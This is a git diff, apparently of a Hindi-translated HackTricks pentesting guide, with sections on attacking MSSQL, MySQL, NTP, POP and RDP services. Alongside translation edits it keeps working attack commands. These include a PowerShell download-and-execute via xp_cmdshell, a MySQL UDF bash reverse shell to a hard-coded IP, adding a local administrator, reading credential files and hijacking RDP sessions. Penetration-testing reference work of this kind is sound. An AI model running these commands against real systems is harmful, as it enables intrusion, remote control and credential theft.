डिफ़ॉल्ट रूप से, `MSSQL` फाइल **कोई भी फाइल पढ़ने की अनुमति देता है जिसमें ऑपरेटिंग सिस्टम में खाता पढ़ने की पहुंच रखता है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं:
डिफ़ॉल्ट रूप से, `MSSQL` फाइल **कोई भी फाइल पढ़ने की अनुमति देता है जिसमें खाते को पढ़ने की अनुमति है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -319,7 +319,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/फाइलें पढ़ना स्क्रिप्ट्स चलाना (Python और R)**
### **RCE/फाइलें पढ़ना स्क्रिप्ट चलाना (Python और R)**
MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड एक **अलग उपयोगकर्ता** द्वारा चलाए जाएंगे जो **xp_cmdshell** का उपयोग करके कमांड्स चलाता है।
@ -370,7 +370,7 @@ For **अधिक उदाहरणों** के लिए [**मूल स
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
यह **कस्टम फ़ंक्शंस के साथ MSSQL के भीतर एक .NET dll लोड करना संभव है**। हालांकि, यह **`dbo` एक्सेस की आवश्यकता होती है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है।
यह **कस्टम फ़ंक्शंस** के साथ MSSQL के भीतर एक .NET dll **लोड करना संभव है**। हालांकि, इसके लिए **`dbo` एक्सेस की आवश्यकता है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है।
[**इस लिंक का पालन करें**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) एक उदाहरण देखने के लिए।
@ -432,13 +432,13 @@ public void Test()
```
### अन्य तरीके RCE के लिए
कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [विस्तारित स्टोर प्रक्रियाएँ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR असेंबली](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL सर्वर एजेंट जॉब्स](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [बाहरी स्क्रिप्ट](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)।
कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)।
## MSSQL विशेषाधिकार वृद्धि
### db_owner से sysadmin तक
यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक प्रशासक** उपयोगकर्ता द्वारा स्वामित्व वाले **डेटाबेस** पर दी जाती है (जैसे **`sa`**) और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाई गई **स्टोर प्रक्रियाएँ** स्वामी (**प्रशासक**) के रूप में **निष्पादित** कर सकती हैं
यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक admin** उपयोगकर्ता द्वारा स्वामित्व वाली **डेटाबेस** पर दी जाती है (जैसे **`sa`**) और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **admin** के रूप में **execute** किया जा सकता है
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -527,7 +527,7 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## MSSQL का उपयोग करना स्थायीता के लिए
## MSSQL का उपयोग करना स्थिरता के लिए
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
@ -535,7 +535,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
एक हमलावर SQL Server Linked Servers के पासवर्ड को SQL Instances से निकाल सकता है और उन्हें स्पष्ट पाठ में प्राप्त कर सकता है, जिससे हमलावर को ऐसे पासवर्ड मिलते हैं जिनका उपयोग लक्ष्य पर अधिक पकड़ बनाने के लिए किया जा सकता है। Linked Servers के लिए संग्रहीत पासवर्ड को निकालने और डिक्रिप्ट करने के लिए स्क्रिप्ट [यहां](https://www.richardswinbank.net/admin/extract_linked_server_passwords) मिल सकती है।
इस एक्सप्लॉइट के काम करने के लिए कुछ आवश्यकताएँ और कॉन्फ़िगरेशन किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर व्यवस्थापक अधिकार होन चाहिए, या SQL Server कॉन्फ़िगरेशन प्रबंधित करने की क्षमता होनी चाहिए।
इस एक्सप्लॉइट के काम करने के लिए कुछ आवश्यकताएँ और कॉन्फ़िगरेशन किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर व्यवस्थापक अधिकार होन चाहिए, या SQL Server कॉन्फ़िगरेशन प्रबंधित करने की क्षमता होनी चाहिए।
अपनी अनुमतियों को मान्य करने के बाद, आपको तीन चीजें कॉन्फ़िगर करनी होंगी, जो निम्नलिखित हैं:
@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL

View File

@ -17,14 +17,14 @@
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### दूरस्थ
### रिमोट
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## External Enumeration
कुछ एन्यूमरेशन क्रियाएँ मान्य क्रेडेंशियल्स की आवश्यकता होती है
कुछ एन्यूमरेशन क्रियाएँ मान्य क्रेडेंशियल्स की आवश्यकता होती है
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### कोई भी बाइनरी डेटा लिखें
### किसी भी बाइनरी डेटा को लिखें
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL अनुमति गणना
### MySQL अनुमतियों की गणना
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -111,7 +111,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
## MySQL द्वारा क्लाइंट द्वारा मनमाना पढ़ने की फ़ाइल
वास्तव में, जब आप **एक तालिका में स्थानीय डेटा लोड करने** की कोशिश करते हैं, तो **एक फ़ाइल क सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से इसे पढ़ने** और सामग्री भेजने के लिए पूछता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
वास्तव में, जब आप **एक तालिका में स्थानीय डेटा लोड करने** की कोशिश करते हैं, तो **एक फ़ाइल क सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से इसे पढ़ने** और सामग्री भेजने के लिए पूछता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -123,8 +123,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**प्रारंभिक PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाना है:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाया जाए:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**यहां आप हमले का एक अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -133,7 +133,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Mysql उपयोगकर्ता
### Mysql User
यह बहुत दिलचस्प होगा यदि mysql **root** के रूप में चल रहा है:
```bash
@ -145,11 +145,11 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
MySQL सेवाओं की कॉन्फ़िगरेशन में, इसके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है:
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी।
- **`password`** का उपयोग MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए किया जाता है।
- **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है।
- **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनियों के उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा शामिल होता है।
- **`secure_file_priv`** के साथ, डेटा आयात और निर्यात संचालन के दायरे को सुरक्षा बढ़ाने के लिए सीमित किया गया है
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावन उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
- **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके
### विशेषाधिकार वृद्धि
```bash
@ -169,13 +169,13 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### विशेषाधिकार वृद्धि पुस्तकालय के माध्यम से
### Privilege Escalation via library
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्य** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **पुस्तकालय** की आवश्यकता होगी जो mysql चला रहा है।
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **user defined functions** का उपयोग करने की आवश्यकता है। और एक user defined बनाने के लिए आपको उस OS के लिए एक **library** की आवश्यकता होगी जो mysql चला रहा है।
उपयोग करने के लिए दुर्भावनापूर्ण पुस्तकालय sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाया जा सकता है। **`.so`** फ़ाइलें **linux** पुस्तकालय हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
यदि आपके पास वे पुस्तकालय **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करें और **linux कमजोर मशीन के अंदर इसे संकलित करें**:
यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करें और **linux कमजोर मशीन के अंदर इसे संकलित करें**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
@ -202,7 +202,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### विंडोज
#### Windows
```sql
# CHech the linux comments for more indications
USE mysql;
@ -216,7 +216,7 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
### Extracting MySQL credentials from files
/_/etc/mysql/debian.cnf_ के अंदर आप उपयोगकर्ता **debian-sys-maint** का **plain-text password** पा सकते हैं
Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
@ -224,7 +224,7 @@ cat /etc/mysql/debian.cnf
फाइल के अंदर: _/var/lib/mysql/mysql/user.MYD_ आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं_।
आप न्हें निकाल सकते हैं:
आप न्हें निकाल सकते हैं:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
@ -590,7 +590,7 @@ Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap

View File

@ -4,7 +4,7 @@
## Basic Information
**नेटवर्क टाइम प्रोटोकॉल (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क पर अपने घड़ियों को सटीक रूप से समन्वयित करें। यह IT संचालन, सुरक्षा और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
**नेटवर्क टाइम प्रोटोकॉल (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क पर अपने घड़ियों को सटीक रूप से समन्वयित करें। यह IT संचालन, सुरक्षा, और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
### Summary & Security Tips:
@ -12,7 +12,7 @@
- **महत्व**: सुरक्षा, लॉगिंग, और संचालन के लिए महत्वपूर्ण।
- **सुरक्षा उपाय**:
- प्रमाणीकरण के साथ विश्वसनीय NTP स्रोतों का उपयोग करें।
- NTP सर्वर के नेटवर्क पहुंच को सीमित करें।
- NTP सर्वर नेटवर्क पहुंच को सीमित करें।
- छेड़छाड़ के संकेतों के लिए समन्वय की निगरानी करें।
**डिफ़ॉल्ट पोर्ट:** 123/udp
@ -20,7 +20,7 @@
PORT STATE SERVICE REASON
123/udp open ntp udp-response
```
## गणना
## Enumeration
```bash
ntpq -c readlist <IP_ADDRESS>
ntpq -c readvar <IP_ADDRESS>
@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
**NTP प्रोटोकॉल**, UDP का उपयोग करते हुए, हैंडशेक प्रक्रियाओं की आवश्यकता के बिना संचालन की अनुमति देता है, TCP के विपरीत। इस विशेषता का उपयोग **NTP DDoS amplification attacks** में किया जाता है। यहाँ, हमलावर एक नकली स्रोत IP के साथ पैकेट बनाते हैं, जिससे ऐसा प्रतीत होता है कि हमले के अनुरोध पीड़ित से आ रहे हैं। ये पैकेट, जो प्रारंभ में छोटे होते हैं, NTP सर्वर को बहुत बड़े डेटा वॉल्यूम के साथ प्रतिक्रिया देने के लिए प्रेरित करते हैं, जिससे हमले की तीव्रता बढ़ जाती है।
**NTP प्रोटोकॉल**, UDP का उपयोग करते हुए, हैंडशेक प्रक्रियाओं की आवश्यकता के बिना संचालन की अनुमति देता है, TCP के विपरीत। इस विशेषता का उपयोग **NTP DDoS amplification attacks** में किया जाता है। यहाँ, हमलावर एक नकली स्रोत IP के साथ पैकेट बनाते हैं, जिससे ऐसा प्रतीत होता है कि हमले के अनुरोध पीड़ित से आ रहे हैं। ये पैकेट, जो प्रारंभ में छोटे होते हैं, NTP सर्वर को बहुत बड़े डेटा वॉल्यूम के साथ प्रतिक्रिया देने के लिए प्रेरित करते हैं, जिससे हमले को बढ़ावा मिलता है।
_**MONLIST**_ कमांड, इसके दुर्लभ उपयोग के बावजूद, NTP सेवा से जुड़े अंतिम 600 क्लाइंट्स की रिपोर्ट कर सकता है। जबकि कमांड स्वयं सरल है, ऐसे हमलों में इसका दुरुपयोग महत्वपूर्ण सुरक्षा कमजोरियों को उजागर करता है।
```bash
@ -52,7 +52,7 @@ ntpdc -n -c monlist <IP>
- `ntp`
## HackTricks स्वचालित आदेश
## HackTricks Automatic Commands
```
Protocol_Name: NTP #Protocol Abbreviation if there is one.
Port_Number: 123 #Comma separated if there is more than one.
@ -64,11 +64,13 @@ Description: Notes for NTP
Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
https://book.hacktricks.xyz/pentesting/pentesting-ntp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2:
Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic Information
**पोस्ट ऑफिस प्रोटोकॉल (POP)** को कंप्यूटर नेटवर्किंग और इंटरनेट के क्षेत्र में एक प्रोटोकॉल के रूप में वर्णित किया गया है, जिसका उपयोग **दूरस्थ मेल सर्वर से ईमेल निकालने और पुनर्प्राप्त करने** के लिए किया जाता है, जिससे यह स्थानीय डिवाइस पर सुलभ हो जाता है। OSI मॉडल के एप्लिकेशन लेयर में स्थित, यह प्रोटोकॉल उपयोगकर्ताओं को ईमेल लाने और प्राप्त करने की अनुमति देता है। **POP क्लाइंट्स** का संचालन आमतौर पर मेल सर्वर से कनेक्शन स्थापित करने, सभी संदेशों को डाउनलोड करने, इन संदेशों को क्लाइंट सिस्टम पर स्थानीय रूप से संग्रहीत करने, और फिर उन्हें सर्वर से हटाने में शामिल होता है। हालांकि इस प्रोटोकॉल के तीन संस्करण हैं, **POP3** सबसे अधिक उपयोग में लाया जाने वाला संस्करण है।
**पोस्ट ऑफिस प्रोटोकॉल (POP)** को कंप्यूटर नेटवर्किंग और इंटरनेट के क्षेत्र में एक प्रोटोकॉल के रूप में वर्णित किया गया है, जिसका उपयोग **दूरस्थ मेल सर्वर से ईमेल निकालने और पुनर्प्राप्त करने** के लिए किया जाता है, जिससे यह स्थानीय डिवाइस पर सुलभ हो जाता है। OSI मॉडल की एप्लिकेशन परत में स्थित, यह प्रोटोकॉल उपयोगकर्ताओं को ईमेल लाने और प्राप्त करने की अनुमति देता है। **POP क्लाइंट्स** का संचालन आमतौर पर मेल सर्वर से कनेक्शन स्थापित करने, सभी संदेशों को डाउनलोड करने, इन संदेशों को क्लाइंट सिस्टम पर स्थानीय रूप से संग्रहीत करने, और बाद में उन्हें सर्वर से हटाने में शामिल होता है। हालांकि इस प्रोटोकॉल के तीन संस्करण हैं, **POP3** सबसे अधिक उपयोग में लाया जाने वाला संस्करण है।
**डिफ़ॉल्ट पोर्ट:** 110, 995(ssl)
```
@ -13,14 +13,14 @@ PORT STATE SERVICE
```
## Enumeration
### बैनर ग्रैबिंग
### Banner Grabbing
```bash
nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet
```
## मैनुअल
आप `CAPA` कमांड का उपयोग करके POP3 सर्वर की क्षमताओं को प्राप्त कर सकते हैं।
आप `CAPA` कमांड का उपयोग करके POP3 सर्वर की क्षमताएँ प्राप्त कर सकते हैं।
## स्वचालित
```bash
@ -71,11 +71,11 @@ Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
```
## पासवर्ड लॉगिंग
## Logging Passwords
**`auth_debug`** सक्षम करने वाले POP सर्वर उत्पन्न होने वाले लॉग को बढ़ा देंगे। हालाँकि, यदि **`auth_debug_passwords`** या **`auth_verbose_passwords`** को **`true`** के रूप में सेट किया गया है, तो पासवर्ड उन लॉग में स्पष्ट पाठ में भी लॉग किया जा सकता है।
POP सर्वर जिनमें सेटिंग **`auth_debug`** सक्षम है, वे उत्पन्न होने वाले लॉग को बढ़ा देंगे। हालाँकि, यदि **`auth_debug_passwords`** या **`auth_verbose_passwords`** को **`true`** के रूप में सेट किया गया है, तो पासवर्ड भी उन लॉग में स्पष्ट पाठ में लॉग किया जा सकता है।
## HackTricks स्वचालित कमांड
## HackTricks Automatic Commands
```
Protocol_Name: POP #Protocol Abbreviation if there is one.
Port_Number: 110 #Comma separated if there is more than one.
@ -87,7 +87,7 @@ Description: Notes for POP
Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2:
Name: Banner Grab

View File

@ -5,9 +5,9 @@
## Basic Information
Microsoft द्वारा विकसित, **Remote Desktop Protocol** (**RDP**) एक ग्राफिकल इंटरफेस कनेक्शन को नेटवर्क के माध्यम से कंप्यूटरों के बीच सक्षम करने के लिए डिज़ाइन किया गया है। ऐसा कनेक्शन स्थापित करने के लिए, उपयोगकर्ता द्वारा **RDP** क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को **RDP** सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण के निर्बाध नियंत्रण और पहुंच की अनुमति देता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय डिवाइस पर लाता है।
Microsoft द्वारा विकसित, **Remote Desktop Protocol** (**RDP**) एक ग्राफिकल इंटरफेस कनेक्शन को नेटवर्क के माध्यम से कंप्यूटरों के बीच सक्षम करने के लिए डिज़ाइन किया गया है। ऐसे कनेक्शन को स्थापित करने के लिए, उपयोगकर्ता द्वारा **RDP** क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को **RDP** सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण के नियंत्रण और पहुंच की अनुमति देता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय डिवाइस पर लाता है।
**डिफ़ॉल्ट पोर्ट:** 3389
**Default port:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
@ -48,9 +48,9 @@ rdp_check <domain>/<name>:<password>@<IP>
```
## **हमले**
### सत्र चुराना
### सत्र चोरी
**SYSTEM अनुमतियों** के साथ आप किसी भी **उपयोगकर्ता द्वारा खोले गए RDP सत्र** तक पहुँच सकते हैं बिना मालिक के पासवर्ड को जाने।
**SYSTEM अनुमतियों** के साथ, आप किसी भी **उपयोगकर्ता द्वारा खोले गए RDP सत्र** तक पहुँच सकते हैं बिना मालिक के पासवर्ड को जाने।
**खुले सत्र प्राप्त करें:**
```
@ -64,7 +64,7 @@ tscon <ID> /dest:<SESSIONNAME>
**महत्वपूर्ण**: जब आप एक सक्रिय RDP सत्र तक पहुँचते हैं, तो आप उस उपयोगकर्ता को बाहर कर देंगे जो इसका उपयोग कर रहा था।
आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ बातचीत करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क में सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)
आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ इंटरैक्ट करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क में सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)
#### **Mimikatz**
@ -77,7 +77,7 @@ ts::remote /id:2 #Connect to the session
इस तकनीक को **stickykeys** या **utilman** के साथ मिलाकर, आप किसी भी समय एक प्रशासनिक CMD और किसी भी RDP सत्र तक पहुँच सकते हैं।
आप इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
आप पहले से ही इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
@ -116,7 +116,7 @@ Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap

View File

@ -4,14 +4,14 @@
## Basic Information
